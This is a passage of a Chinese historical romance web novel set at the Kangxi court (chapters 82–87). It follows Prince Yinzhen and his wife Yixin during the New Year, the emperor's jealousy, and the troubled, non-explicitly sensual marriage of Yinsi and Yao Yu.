胤禛将他的大氅裹在仪欣身上,低头让仪欣搂住他的脖颈,单手将仪欣打横抱起,阔步走出宴会花厅,回头淡淡开口,“大哥带路吧。” 傅文低头叹口气,笑笑抬腿跟上。 花厅只剩下马齐傅辙和钮祜禄氏。 马齐看着雍亲王抱着自己水灵灵的闺女离开,心里不好受,气得团团转,傅辙也是跟着转。 第82章朕可当不得四爷请安 马齐冷哼一声说:“福晋,小九在宫中打那个小答应,不会被雍亲王和万岁爷训斥了吧?” 傅辙倒是说一句:“不能吧。” 马齐撩袍坐下,一拍桌子,“那可不一定,从小她打谁,老夫都是表扬的,毕竟小九身子弱,她有力气打人,老夫就高兴。” 钮祜禄氏听他越说越不像话,不咸不淡撂下茶盏:“老爷,您这么惯着闺女合适吗?小九不比从前,也并非足不出户。” 说着,她又抬眼警告马齐,直言道,“妾身身上掉下来的肉,妾身最了解。若是小九在宫中受了委屈,怕是回府第一时间就闹开了,哪能心平气和?” 仪欣能是受气的人吗? “王爷是小九的夫君,自成亲至今,王爷做得无可挑剔,咱们作为长辈,一味置喙指手画脚,难免两个人生了嫌隙。况且,小九真得有人管管。” “欸!对!”马齐点点头,也是,他闺女怎么可能是受气的,“福晋,我今年这个年过得真知足。” 钮祜禄氏温柔笑了,也幸福点点头。 * “不需要丫鬟伺候。”胤禛对傅文说。 傅文温和点头,看着胤禛背影进入嫖姚院,才转身离开。 胤禛是第一次进到仪欣的闺房,整个人被她的气息包裹着,埋在她的颈间深深吸气。 她好香,好香。 仪欣被他拱得痒,咯咯笑着在他怀里挣扎着下来,拉着胤禛坐到她的床榻上。 胤禛从未睡过这般粉润润的闺房,坐着甚至有些局促,只目不转睛看着仪欣,眸中含着笑意。 仪欣反倒不困了。 两人洗漱过后,在床榻上对坐着。 仪欣眯着眼扎在胤禛怀里,小声说:“王爷,这是我之前住的地方。” “嫖姚,嫖者,身姿矫健也。”胤禛低头吻了吻她的额头,“霍去病十七岁出征,以锐不可当嫖姚之勇横扫匈奴,受封嫖姚校尉。” “是的,这是大哥为我取得院落名字。”仪欣解释道。 身姿矫健,锐不可当。 对于幼时的她,是多么奢侈的期待。 夜半三更,闺房内只留一盏脆弱的烛火,胤禛躺在仪欣的床榻上,喉咙有些干涩。 她的气息实在太浓了。 窸窸窣窣磨蹭着他。 怀中人也不老实,困倦消弭,有些聒噪跟他分享小时候的事情,边说边蹭。 胤禛坐起来,直勾勾盯着她嘴巴一动一动说话。 仪欣看到他的动作也懵懵然坐起来,清澈眼神在问他怎么了,转而胤禛骨节分明的手摸上仪欣的脸。 仪欣晃了晃脑袋,眸光亮晶晶望着他,嗫嚅一下嘴巴。 每次亲亲之前被摸脸或者托住脑袋,这都养成了习惯,被摸脸的时候就已经做好了准备,眼眸亮晶晶期待,心里焦急嘀咕怎么还不亲她。 胤禛忍俊不禁,胸膛微微震颤,笑出声来。 仪欣炸毛,恼得打落他的手,推他一把。 为什么笑她!为什么!肯定是不爱听她说话!也不想亲!!!啊!!太过分了!! 隔着朦胧夜色,胤禛看到她气恼不悦的小眼神,抬手赶紧安抚她的情绪。 “小乖,亲一会儿就睡觉,好不好?” “是谁要亲一会儿?”仪欣倏地躺下,轻哼纳闷问。 “你要。”胤禛闷笑。 仪欣不满意,一股脑滚到床榻深处。 胤禛轻咳一声,把她搂到怀里,低声哄道,“是我要。” … 按照习俗,朝臣在正月初一参加宫宴,主要是在保和殿举行的赐宴。 赴宴者主要为入朝当差的皇子和额附以及皇帝的近臣,包括大学士、九卿中有功勋者等。 赴宴者需着朝服依序入宫,席间伴有戏曲表演和御赐赏物流程。 康熙居高临下,起身举杯敬朝臣,说了两句勉励的话,便威仪落座,盯着面前宴席一言不发。 梁九功谨慎替康熙添一盏适宜的茶。 康熙别扭问一句:“胤禛真的是在富察府出来的?和马齐一同入宫的?” 梁九功苦笑,哈腰点头:“奴才听说,确实如此。” 可不是嘛,参宴大臣间传遍了,四爷可是在富察府过的年,还留宿了。 和马齐大人一同入宫,马齐大人别提多春风得意了。 康熙不悦。 太子起身,不紧不慢开口:“儿臣敬皇阿玛一杯。” 康熙一饮而尽。 有了太子起头,皇子及额附纷纷起身敬康熙。 马齐如今看胤禛,别提多满意了,他坐得特别靠前,离胤禛和康熙都不远。 他好意提醒胤禛,“王爷昨夜喝得多,今日最好不要多饮酒。” 胤禛弯唇,温声道,“多谢岳父大人。” 马齐乐呵呵点头,不谢不谢,这都在他府上留宿了,跟他大儿子有什么区别?真好真好。 康熙看到两人的互动,不悦抿唇,未等到胤禛敬酒,默不作声将酒盏推远。 宴会结束,胤禛被康熙单独传召到乾清宫。 “儿子给阿玛请安。”胤禛跪地磕头。 康熙冷哼,阴阳怪气说:“朕可当不得四爷请安。” 胤禛无辜抬头,轻唤一句:“皇阿玛…儿臣…” 康熙听着他的称呼愈发不悦,反手摔了一个茶盏,呵斥说:“你在富察马齐府上过的年?” “嗯。” “你…你想要气死朕?” “皇阿玛,儿臣不敢。” “朕还以为雍亲王爷入赘到富察府了呢。平日里如何,朕不管,年节这般重要,你怎么敢留宿富察府,真是自己不要脸,连朕的脸一块撕下来了!”康熙毒舌一顿讥讽。 胤禛轻声叹口气,无奈解释说:“阿玛,儿子府上冷冷清清没个人,这么多年也是逾矩热闹一回。” 康熙一愣,揉了揉额角,冷哼说:“你自己是没有阿玛额娘吗?” 胤禛弯唇,扶膝主动起身,走上前给康熙倒上热茶,语气略有撒娇说:“儿子自然有阿玛,只是儿子的阿玛毕竟不同,君臣父子,儿子不想阿玛为儿子坏了规矩。” 康熙瞅他一眼,冷哼说,“昨夜,马齐给你压岁钱了吗?” 胤禛笑了笑,“给了。” “给了多少?”康熙直接打听。 这胤禛确实愣了,他直接递给仪欣了,他哪知道是多少。 “儿子没打开看。” 康熙换个舒服些的姿势坐着,轻啧一声,“若是缺衣少食没有银钱,便问朕来要,你如今成家,若是想要什么热热闹闹,便等朕下次白龙鱼服吧。” 第83章初露 康熙突然开口,“你府上冷清,要不朕赐你几个侍妾格格?这样热闹些。” 胤禛指尖一顿,慢悠悠叹口气:“不要,若是府上一堆女人,儿子还没有子嗣,儿子便无颜立足朝堂了。” 他又故意补充一句:“那儿子还不如找个寺庙,了此残生。” 康熙细想确实如此,从前胤禛无子,还能归结于不近女色,若是后宅一堆女人,仍旧没有子嗣,这不就赤裸裸明说是他儿子的问题吗? 那不行。 胤禛这些年并不容易,德妃如何,兄弟如何,他心中有数。 偏偏胤禛总是委曲求全,粉饰太平,这才艳羡富察氏一族和乐氛围,竟是要去富察氏过年了。 胤禛不紧不慢替康熙揉捏太阳穴,也不做声。 天下惟庸人无咎无誉,比起失权遭皇阿玛忌惮,他更愿意肩担绝嗣的名声。 毕竟,他可从来没亲口承认过自己不能生。 交往大臣也实在方便,朝中重臣坦坦荡荡亲近他,他亦是不必背负结党营私的罪名。 如今,绝不是朝臣站队于他的好时机。 康熙起初很生气,朝臣赐宴之后,便是御赐赏物,本是想差别对待,减少富察府的赏赐。 但是,他又觉得,给富察氏一族体面,便是给胤禛体面。 这样想着,康熙又不动声色将赏赐加重几分。 罢了。 康熙余光看见胤禛腕间的佛珠,沉声说:“你先回去,不许再提什么寺庙的事。” “儿子告退。” 刚出乾清宫书房,胤禛在庭廊下和太子撞了个脸对脸。 太子和胤禛关系好,风流撞了他一下,揶揄问:“当真在富察府留宿了?” 胤禛无奈笑笑,叹口气:“二哥莫要打趣弟弟了,改日一同喝酒。” 太子哈哈大笑,轻啧一声:“行,孤能得到你亲口邀约,实属不易。” 胤禛拱拱手,在原地目送太子进到乾清宫书房,转身往外走。 不一会儿,书房内响起见怪不怪的争执声。 “奴才恭送王爷。”一个小太监迎上来,哈腰笑着伸出手为胤禛引路。 胤禛阔步往外走,脚步一顿,眼睛在那名小太监身上扫过半秒,笑一下:“本王向来欣赏聪明人。” 宫道上那个总管太监,这么快就到了御前伺候,可见能抓住机会,有几分本事。 “你叫什么名字?” “奴才小泉子。”小泉子哈腰笑着说。 “全名呢?”胤禛在宫墙下驻足,耐心问。 小泉子受宠若惊,连忙说:“奴才贱名刘小泉。” “好,本王会记得。”胤禛转身便要离开。 小泉子更是受宠若惊,咬咬牙下定决心,小步挪了两下,低声说:“王爷,那日宫道上冲撞您的宫女,奴才替您交给万岁爷,似乎听得是荣妃娘娘…” 荣妃,老三胤祉的额娘。 胤禛猛得回头眯了眯眼,示意他噤声,指了指小泉子的红穗帽檐。 “不入流的手段,是谁又有什么关系呢?” 小泉子被胤禛运筹帷幄的气扬震撼到,心中涨起莫名的敬意,越发笃定自己得多亲近些雍亲王。 … 嫖姚院。 仪欣正坐在书桌前,一板一眼给富察傅笙写信。 “福晋这字真漂亮,傅笙怕是要认不出了。”钮祜禄氏温柔站在仪欣身后,夸赞道。 仪欣笑眯眯将信纸折起来,又有些伤感叹口气:“额娘,我想二哥,想让他快点回来。” 钮祜禄氏温柔开解,“傅笙在边关历练,富察氏一族血气薪火相传,傅清和傅格到了年纪也会去的。边关无战事,他会平安的。” “额娘,我决定了,我要在家里多住几日。”仪欣又深深叹口气,“我再给二哥多送点东西。” 钮祜禄氏轻声说:“福晋,不能任性。其实,王爷陪您过府要承受许多压力的。这个世道便是对女子多些约束,王爷也很难对抗。” 仪欣娇憨轻哼一声,“额娘,等我有能力,就要改了这世道,让女子都坦坦荡荡带着夫婿回府中过年。” 她配得感很高,不会觉得胤禛对她的好是赏赐,她没有愧疚地享受这些东西,只是觉得很喜欢王爷对她的用心。 钮祜禄氏被她的天真无邪的话语逗得笑,却不泼冷水,反倒温声夸她心怀大义,为天下女子请命。 “那以后过年只有我带着王爷在府中陪阿玛和额娘,哥哥们都去别人家了。”仪欣美滋滋说,想到那扬景觉得很奇妙。 钮祜禄氏俯身抱着仪欣,温柔似水感慨说:“有小九陪在额娘身边过年,额娘就高兴。” 胤禛站在嫖姚院的檐下,隔着镂花窗听到仪欣的话,弯了弯唇。 入夜。 她和他还是在富察府安然住下了。 仪欣一身水汽,暖烘烘猫儿似的窝在床榻上,看着胤禛长身玉立倚在粉红色帷幔旁。 他寝衣系得不严谨,锁骨深邃,裸露几寸胸膛,腕间佛珠随意垂落,修长冷白的手置在银丝炭暖炉上烤火,没有刻意做什么,只是站在那里,清冷俊美中透露着一股贵气。 还有点…涩气,仪欣在心中小声补充道。 “王爷,你烤暖和了吗?快来抱抱。”仪欣慵懒哼唧撒娇。 胤禛无奈看她一眼,这才烤了一会,身上还有沐浴过后的凉意,怎么能抱她。 “等一会儿再抱小乖。” “好。”仪欣乖巧应声,满意看着她温馨粉嫩的闺房,想到额娘说陪她在府中住着,王爷承担外界的压力,轻声感慨说起白日和额娘的对话。 ——日后她要让女子坦坦荡荡带着夫婿回娘家过年。 “就像我带着王爷回来这般。”仪欣笑眯眯说。 胤禛缓缓偏头看向她,宠溺笑着愣了一下,她总是不觉得自己说了多么了不起的事。 她娇憨明媚的脸庞不曾沾染任何蝇营狗苟的算计,显得纯真而清澈。 可是,当她能表达需求,做出一些事情回应世道的时候,她想到的永远不止是自己。 胤禛克制含蓄引导着问她,“仪欣觉得怎么样才能做到呢?” 仪欣想了一会儿,将种种可能都盘算一遍,斟酌说,“比如,朝廷颁布文书,让女子随时带夫婿回府。” 胤禛强忍着笑意,被她天真的话惹得发笑,倒是不紧不慢反问一句:“有文书,就可以了吗?那本王明日便给皇阿玛递折子吧。” 第84章我对你来说,不重要了吗 她做城南善事已经有一阵子了,处事和见识上学到了许多。 城南没有收入的女子得到她的帮扶,有了些许收入补贴家用,日子便好过的多,在家中也自由些许。 仪欣又试探着提出,“或许,应该先让女子有很多银两。” 胤禛面露赞赏,示意她继续说。 他坐到床榻上,解落粉色的床帐,将她抱到怀里,脑袋闲适搭在她稚嫩的肩膀上,眯着眼蹭了蹭。 好像窗外又在落雪。 雪总是能无声遮掩许多东西,将乌糟糟的世道装饰的洁白无瑕。 其实,这世道女子所遭遇的一切不公,均源自于失权。 缺爱,敏感,脆弱,不自由,全部都来源于权力的缺失。 他不急着说透,反而和仪欣轻声分享一些无关痛痒却又不得不思考的小事。 他并非是什么有耐心的人,对于闲谈这种事表现的极其倦怠,可是,他对她仿佛有用不完的耐心,润物细无声般参与她灵魂的成长。 仪欣觉得很有成就感,跟胤禛分享她的想法时,总觉得自己在咕噜咕噜冒着聪明的泡泡。 两个人你一言我一语,在落雪的夜晚依偎着,讨论着粮食和蔬菜,又聊到京城和边关。 …… 正月初五。 胤禩和姚虞出现在养蜂夹道。 胤禩给看门的小太监塞了一张的银票,带着姚虞沉默走进有些狭窄的院落。 “八哥,八嫂,你们怎么来了?” 一个苍白颓丧的男人撑着墙站起来,他面容俊美,风姿绰约,只是精神颇为萎靡。 房间内没什么器物,只有简单的桌椅,几本书籍孤零零倒在梨花架上。 姚虞将手中提的捧盒轻放到桌上,对他笑笑,将捧盒中温热的饭菜摆到桌子上,不打扰二人交流,一个人不远不近坐着。 这里只有一个小太监伺候着。 胤禩坐到老九身边,询问他的近况,宽慰老九会将他早些救出去,让他不要多思多虑。 老九轻咳两声,颓丧笑了笑,咬牙说:“不知是谁坑了爷一把,竟将爷经营多年攒下的钱财都捋了过去。” 胤禩也觉得心疼,毕竟那一笔钱财实在不菲,又宽慰老九说,千金散尽还复来。 老九丹凤眼阴毒地眯着,冷哼说,“老四最近在做什么?” 他直觉就是老四捅了他一刀,他的钱,他的人脉,他的商铺,八成就在雍亲王府收拢着。 他跟老四向来不合,此次马失前蹄,第一个便是怀疑老四,紧接着是太子。 胤禩迟疑一下,还是说,“他在富察府住了几日了。” “没出息,真是被女人冲昏头脑了。” 老九嗤笑一声,念在姚虞仍在扬,便止住女人的话头。 胤禩苦笑一下,感觉老九的话无形中也扇了他一个耳光。 老九蹙眉,“八哥,我府上的孩子们还好吗?” 胤禩这些阵子忙着在前朝替老九打点,只到他府上看过两次,故而温和笑着说,“他们都很好。” 姚虞面色如常,体面将话头接过去,爽快又事无巨细说了老九各个孩子的近况,在荷包中拿出一沓信纸,递给老九。 “九弟,这是那些小的给你写的信,你放心,你后宅的子嗣有我和你八哥照料着,你的孩子,我们都视如己出,不会让他们受一丝一毫的委屈。” 老九凌厉的眉眼柔和下来,罕见有些失态,感激地看向姚虞。 胤禩诧异看向姚虞,她好像总是能让他没有后顾之忧,他好像已经习惯她为他打点琐事,竟是第一次感慨,没有姚虞该怎么办呢? 姚虞爽朗笑了,又接着说:“你放心,宜妃娘娘如今也很好,我年前时常进宫,每次都会去拜见娘娘。” “八嫂…多谢八嫂…”老九起身给姚虞行礼。 姚虞扶上他的胳膊,呵斥一句:“九弟这么做,是要跟八嫂生分了不成?” “八嫂…八哥有你,真是他的福气。”老九失态起身,又笑着缓和气氛。 姚虞唇边笑意淡了,只对胤禩说,“你们兄弟二人想必还有事情要谈,我在外面等你。” 姚虞出去后,老九才注意不对劲,八嫂好像跟八哥不说话了。 “八哥,你和八嫂…是怎么了?” 胤禩沉默一下,“她…她好像变了。” 怎么了?他也想知道怎么了。 他们之间的感情好像错位了,他这段时间想弥补他这八年的缺失,却愈发暴露他曾经对她的忽视,然后,她会重复的失望。 然后,他就焦急,患得患失,无的放矢,不知道怎么得到她的喜欢。 他明明很容易就能得到她的喜欢,只需要穿好看的衣裳,佩戴她买的配饰,温和对她说话,蜻蜓点水的亲吻她,她就会很满足。 如今,失效了。 全都失效了。 “不可能,”老九直接反驳,“八嫂明明那么钟情你。八哥,你可得清醒一点。” 八嫂对他的关照,不过是爱屋及乌。 老九觉得,每个男人都想拥有一个八嫂这样的福晋,人情往来滴水不漏,打点后宅侍奉舅姑尽心尽力,还有…极致坦荡的偏爱。 “老九,我对她好吗?”胤禩有些迟疑问,他真的想听听旁观者的眼中,他对姚虞怎么样。 老九面露古怪,斟酌一会儿,还是开口,“八哥,你…你自己心里没数吗?” 胤禩:“……” 两刻钟后,看门的小太监提醒胤禩该离开了。 胤禩上了马车,马车摇摇晃晃离开养蜂夹道。 姚虞倚着马车壁假寐。 胤禩略带讨好轻声开口:“姚姚,四哥陪四嫂住到了富察府,你想归宁吗,我…我也陪你吧。” 姚虞缓缓睁开眼,溢出一点疑惑,又笑了,“贝勒爷,我和四嫂不一样,阿玛额娘外祖父都过世了,我回去见谁呢?” 世上疼爱她的人都离世了,他提出这个问题,怎么这么令人苦笑。 胤禩沉默。 他不知道怎么对她好,怎么办? 姚虞闭上眼睛继续假寐,胤禩的话戳中了她,没有人家人疼爱她了,她不免奢侈地想,若是她有个自己的孩子就好了。 马车碾在积雪上嘎吱嘎吱作响,胤禩咽了咽口水,垂着眼失落看着他腰间的荷包,自暴自弃说:“姚虞,我对你来说,不重要了吗?” 第85章让本福晋在上面 我对你来说,不重要了吗? 姚虞一怔,反应过来很坦荡笑着说:“对,已经不重要了。” 应该说,会慢慢不重要的。 胤禩眼眶倏地红了,滚烫的眼泪涌到眼眶,死死盯着她,指尖都开始颤抖,固执问:“姚虞,你知不知道你在说什么?” 姚虞看着他如同被遗弃的模样,漂亮的眼睛垂下不去看他,下一秒便被强硬拉到怀里,她挣扎推了推男人的胸膛,“这是在马车上。” “在哪里能抱?姚虞,告诉我,我在哪里能抱着你?” 胤禩抱紧她,闭了闭眼,发现苦咸的眼泪没有流出来,而是到了喉咙里。 姚虞不挣扎了。 她也知道她的德行,他有点楚楚可怜的神色,她就忍不住如同救世主一般心疼他,毕竟八年不是八日,她的感情也是在血肉里钻出来的。 索性就不要去跟他交流,慢慢的会愈合,会长出新的血肉。 心疼男人倒的霉,她也该受够了。 正月里不出年,若是有姚虞,贝勒府的新年总会过得有滋有味,她喜欢昂贵漂亮的衣裳,精致费心的糕点,仪式感十足。 连同胤禩,都有穿不完的衣裳,各种各样名贵配饰,会被姚虞拉着去做很多她觉得有年味的事。 今年,一点没有。 他早就察觉到了,不是吗? 胤禩就像是一个困在黑暗屋子里等待秋后问斩的囚徒。 姚虞说,不重要了。 于是,该问斩了。 夜里,姚虞在案前清点城南之事所花费的银票。 城南和酥阁,仪欣负责账册和经营,而她负责联络各府福晋,接洽各府活计外放之事。 两个人盈余都是平分的。 姚虞很喜欢做这件事,城南女子每每领到报酬和剩余糕点,都会露出满足且纯朴的笑容。 她想,比起纠结爱与不爱,她有更重要的事情要做。 姚虞奋笔疾书记录各府派发的活计数目,胤禩就老老实实站在她的旁边,低着头磨墨。 夜渐浓。 胤禩轻声提醒:“姚虞,不早了。” 姚虞随口说:“妾身没做完,贝勒爷先睡吧。” 胤禩低着头继续磨墨,他不知道他这是怎么了,但是,如今这种无能为力的情况,他只有守在姚虞身边才会安心。 “还剩下很多吗?我可以帮你做,我…我会看账册,珠算比账房的管事还要熟练,我也可以为酥阁写楹联…做诗也行,誊抄也很工整。我什么都会一点…”胤禩抿唇小声自荐。 姚虞撂下笔,仰头看着他,明珠般的眼眸里含着说不清道不明的情绪,胳膊轻轻抱住他的腰。 “胤禩,我想要个孩子。” 她私下喝汤药求子许久了,有个自己的孩子,那是唯一真正属于她的。 他,爱又不会爱,甩又甩不掉。其他的事,还需要慢慢计划。 胤禩不知道姚虞的想法,闻言欣喜若狂,无数次试探又确认这种怦然心动的感觉。 他爱上姚虞了。 他和她表露过野心昭昭,他只对她倾诉过脆弱迷茫,他早就不能没有她,却现在才敢承认。 他曾经醉心权力,以情爱为刀剑。 但是,此刻,他不想利益和权力,只想姚虞,只想跟姚虞有一个孩子。 只要有个孩子,一切都来得及,他和她之间会慢慢变好,变回从前那样。 “姚虞,现在可以拥抱吗?”胤禩竟是有些青涩紧张,自从那晚强迫她之后,他就不能再亲近她了,晚上想抱着她,她也会拒绝。 姚虞心里生出些逛青楼点清倌意味,戏谑勾了勾唇。 她微微抬起手腕,妩媚动人的脸上满是撩人意味,像是盛开在耀阳灼日里的红玫瑰,美得不可方物。 胤禩见状将她打横抱起,大步走到内室,弯腰放到床榻俯身吻下去。 …… “姚虞,我知道你喜欢怎么样做。” “这样可以吗,姚虞?” 胤禩小心翼翼伺候她,不能再由着他的喜好也甘之如饴,他和她成亲八年了,他们是至亲夫妻,再没有一个人比她更亲密。 姚虞微眯着眼打量他的紧实的腹部和有力的腰杆,胤禩有些气恼她审判的目光,委屈伸手遮住她的眼睛。 姚虞咯咯笑,染着橘红色蔻丹的手攥住他的手腕,语气挑逗说:“让本福晋在上面。” 什么? 胤禩咬咬牙,还是老实“嗯”一声,翻身下去躺好。 他有些紧张她带给他的体验。 姚虞其实也紧张,却觉得很新奇,她微仰起纤细白皙的脖颈,妩媚风情万种蚕食胤禩的理智。 两人同时闷吭一声。 姚虞不得章法,只是有些喜爱玩乐的本能,半刻钟后便觉得乏味疲累,橘红色指尖点了点胤禩的胸膛,微微下滑。 她慢悠悠娇叹一声,“累了,怎么办呢?” “姚虞…我不累…我来…”胤禩喘得比姚虞更重,她像是落在凡间作怪的魅惑妖灵一般。 今晚,他对她不止有欲,还有爱。 这爱来得太迟了。 “那本福晋还是要在上面的。”姚虞两只手按在他的胸膛上,吩咐道。 “嗯…听你的…我答应过的…床笫之事…你说怎么样我都听。” “嘘!不要说话。”姚虞指尖住他的唇,居高临下睨视他,轻轻吐出几个字,“你专心点。” 她向来就是落子无悔的顶级心态,输了就输了,爱了就爱了,如今慢慢不爱他,又做不到霎时戒断,不如趁着要孩子先享受他。 胤禩差点疯掉,血气方刚满身都是力气,忠犬般尽心尽力做事。 姚虞不知道自己什么时候睡过去的,也差不多可以说是失神昏过去。 胤禩深更半夜凑在她耳边说话。 他的语气餍足欣然,像是稚童捧着心爱的礼物,弯唇一遍遍自言自语般问她:“咱们和好了,对不对?和好了姚姚…” 姚虞当然没听见。 这晚过后,胤禩就喜欢痴缠姚虞,一副勾栏做派,丝毫不见曾经风光霁月含蓄模样。 他只觉得确认心意后,跟姚虞在一起就特别心安,这种心理上的依托感和满足感,一直持续到年后上朝。 老十都觉得有些诧异,自从一年前复立太子的风波之后,便再不见旧日八贤王意气风发的模样。 下朝后,老十乐颠颠凑过去,撞了老八一下,赶紧问:“八哥,你有什么好事,这么高兴?是不是九哥那里有什么好消息?” 第86章可怜 胤禩弯唇浅笑,无奈看老十一眼,说:“皇阿玛为你八嫂的酥阁赐了匾额,我去接她。” 八嫂的酥阁? 老十笑意淡了,随口问:“那不是小九的商铺吗?就是在城南施善那个?” 这阵子,八哥和老四走得太近了,府邸比邻,他们的福晋又交好。 八哥最好不要做抛弃九哥的事情。 他本来就是因为九哥亲近八哥,他才跟八哥走得近,没有九哥,八哥和老三谋划的事,别妄想拉上他。 “嗯,是啊。”胤禩没管他,大步往太和殿外走去。 老十阴恻恻跟着胤禩走到殿外,余光看到石青色亲王朝服,心里一窝火,站在原处不动了。 … 雍亲王府。 仪欣这种两日有些头痛,身体抱恙,故而没去酥阁,如今恹恹卧在美人榻上查账。 晴空将酥阁账册呈给仪欣,禀告施善花费的金银和酥阁盈利的数额。 仪欣抿着唇翻看账册,吩咐道:“元宵将至,雍亲王府给那些参与城南施善的福晋们额外准备一份礼,大大方方的。” “是,福晋。”晴空应声。 “晴空,你和晴云这一年也辛苦了,额外支一年份例,就说是本福晋赏的。”仪欣抬腕支着额头。 晴云会医术,武功也不错,平日里照顾她最是无微不至;晴空算账管家精通,替她打理嫁妆尽心尽力。 晴云晴空是富察氏为她精心调教的,仪欣向来大方,对晴云晴空很好。 “多谢福晋。” “多谢福晋。” 晴云晴空欢欢喜喜异口同声说。 小太监匆匆赶过来,哈腰说,“福晋,八福晋和八爷来了。” 仪欣眼眸微亮,斟酌一下,说,“王爷不在府中,招待八贝勒在前院花厅喝茶,请八福晋到正院来。” 姚虞进来的时候面露清冷,蹙着眉头看向仪欣。 “姚虞姐姐,怎么了?酥阁出什么事了吗?”仪欣直起身来,将汤婆子递给姚虞。 姚虞捋一下旗装坐在木凳上,倒是又轻快笑了笑,“没有,我来你这里躲一躲八爷。” 仪欣很八卦,倒是又怕姚虞不愿意分享太多,于是纠结嗫嚅着看向姚虞。 “你大大方方问。”姚虞无奈笑了。 仪欣非常大大方方,一针见血开口:“你还喜欢八爷吗?” “喜欢啊。”姚虞耸耸肩,“但是,不想喜欢他了,所以躲着点。” 仪欣的小眼神已经开始困惑了,她本就有些头痛,此时觉得脑袋被区区两句话绕晕了。 “可是,姐姐真心喜欢八爷,八爷如今亲近姐姐,两全其美的事,为什么要躲着点呢?” 姚虞抿一口茶,笑着摇摇头:“因为感情实在是有延迟的,曾经许多密密麻麻让人疼痛的事情叠在一起,我现在才想起来哭,但是已经忘了为什么哭了。” 太多事了。 所以,只能渐行渐远。 仪欣想起一件旧事,沉默着起身抱住姚虞,肃穆着小脸附和说,“那咱们不原谅他,我支持姐姐。” 她又闻到姚虞身上有药味。 想着良妃娘娘年后似乎康健些,姚虞不曾入宫才对。 “姐姐,你生病了吗?身上有淡淡的药香。” 姚虞一惊,没想到仪欣的鼻子如此敏锐,抱了抱她的肩膀,摆摆手坦然说,“我没生病,只是最近一直在喝求子的汤药。” 仪欣闻言更是震惊,小脸绯红如夏日晚霞,悄咪咪出声提醒:“姐姐,你…你躲着八爷,怎么…怎么生孩子呢!” 姚虞:“……” 她…她该说什么? 说她只是白日淡出胤禩的生活,但是不耽误晚上要孩子??? 解释说,其实胤禩最近在床榻上很好用? 他喜欢他,他在她的世界里就是光风霁月的天之骄子;她放弃他,他就是调节她生活的青楼清倌。 姚虞哈哈大笑,又轻咳两声:“其实…好了,你到我这个年纪就明白了。” 入夜,仪欣心里装着事情,又头痛难忍,召来太医为她针灸,又额外泡了一次药浴。 仪欣出了浴室,小脸惨白,平日里樱粉的唇也苍白无血色,见到胤禛担忧守在浴室门口,她还是轻轻笑了笑,柳眉弯弯,依恋抱住他的腰。 胤禛喉结轻滚,掩不去担忧都神色,将她的斗篷裹紧,抱着她回到内室,“仪欣,还有哪里不舒服吗?” “王爷抱着我就会舒服好多。”仪欣搂紧他的腰,有些微微哽咽。 针灸后泡药浴并不好受,像是抽空满身精气,洗涤过后又一股脑塞到丹田里。 胤禛抱着仪欣坐在床榻上,拢了拢她的腿,像抱小婴儿那般尽可能多的抱住她,吻了吻她的额头,“那本王一直抱着你,好不好?” “好。”仪欣呜咽,身体不舒服,加之心里装着事情,蹭了蹭胤禛的寝衣,于是他的胸前一片泪痕。 胤禛轻吻她的额头,一只手放在她的腰后感受她的体温,“仪欣是最有福气的小乖,睡一觉,明天就好了。” 仪欣动了动脑袋,哽咽着勾住胤禛的腕间佛珠,攥得紧紧的。 “王爷,我想跟你说话。” 胤禛低着头将耳朵凑近些,温柔又心疼哄着说:“好,我在听。” “王爷,姚虞姐姐真的很可怜…” 胤禛:…… 若不是她此时生病难受,他真的想把人翻过来打两巴掌屁股,都这个时候了,还嘟囔着可怜旁人。 可是胤禛只是裹紧她的被衾,微微曲着腿,让她在怀里躺得舒服些,轻轻附和着“嗯”一声。 明明他怀里这一只小孩子最可怜,生病难受得跟猫儿似的,偏偏乖得不像话,还要眼巴巴可怜心疼别人。 仪欣抿唇轻声开口,把压在心中的事情说出来。 “王爷,其实八爷曾经想纳我做侧福晋。” 什么? 胤禛闻言,霎时脸色冷得吓人。 他垂了垂淡漠的眸子,冷白修长的手慢慢滑过他的佛珠,搭在仪欣温软的手上。 “继续说。” 仪欣说得很慢,“他私底下跟我说过些奇怪的话,我听懂了,但是没有告诉任何人。” “只是觉得,姚虞姐姐知道会很难过的,她那时跟我关系很好的,那时候安亲王已经去世了,八爷没想过我的家世入他的府邸为侧福晋,我的阿玛和兄长们…会容不下姚虞姐姐的。” 第87章我与故我,远隔万水千山 他低头亲一下仪欣的太阳穴,黑暗里垂眸沉声说:“没关系,他很快就会无暇纠缠郭络罗氏了。” 老八作贱仪欣,肯定不能就这样算了。 仪欣娇憨眯了眯眼,欣喜轻叹,“那真好,他太坏了。” 胤禛轻声附和她“嗯”一声,“乖,不哭了。” 仪欣很困倦又睡不着,只能攥着胤禛的佛珠,趴在他的怀里跟他小声说话。 她脑袋不太灵光,无拘无束,想到什么说什么,因而叽里咕噜都是老八和姚虞那些琐事。 胤禛听得心中沉默,又不愿意敷衍她,只能边哄着她早点睡,边低声陪着她说老八的家长里短。 临近三更,胤禛缓缓松一口气,再看怀里的人儿,微微嗫嚅着樱唇,额角落着些许汗珠,小脸带些酡红,毛茸茸的长睫乖巧落在眼下,闭着眼睛睡熟了。 乱七八糟的。 当局者迷,旁观者清。 其实,他很庆幸仪欣遇到的是如今的他。 若是十年前,他刚入朝堂,年少轻狂,野心昭昭。 可能会如大多数男人一样,他也会随意用联姻笼络大姓势力,把后宅侍奉的人用于传宗接代和逗趣时候的消遣。 只是,他的身体困住了他。 他用十年在暗河里孤寂低头摸索,无子无后,没有母族姻亲,也趟出一条隐忍而贵不可言的路。 他不是没有痛苦过,也并非一开始就旷达,只不过那种日子早就被他遗落在旧事里。 他以为是痛苦逐渐过去了,实则是他沉默的撕碎了痛苦。 “我与故我,远隔万水千山。”胤禛勾唇亲一下仪欣绯红的脸。 莫道王侯千古事,江山薄似掌中罗。 还好在他有能力替她处理一切时,她才到来,不然保不齐要跟着他吃很多苦。 清晨,胤禛睡觉时觉得胸口沉沉的,睁眼一看是仪欣趴在上面,眼睛乌润润的,对着他笑。 胤禛眯着眼睛,低头想亲她,被她脑袋压的肩膀有些麻。 “王爷,你可算醒了。”仪欣胳膊缠上他的腰,抱怨一句。 胤禛撩开床幔看一眼天色,日上三竿,她怕是已经自己玩了许久了,才叫醒他。 “来,到我身上来躺着,再陪我睡一会儿。”胤禛碰了碰她的额头,看她精神气色盈润,眯着眼慵懒拍一下仪欣的屁股。 “哦,好。”仪欣一条腿搭到胤禛身上,哼哧哼哧爬到他身上,偏着头靠在胤禛的肩膀上,憨憨的闭上眼睛。 “下午元宵宫宴,你便不要去了,等我回来。”胤禛哑着嗓子说。 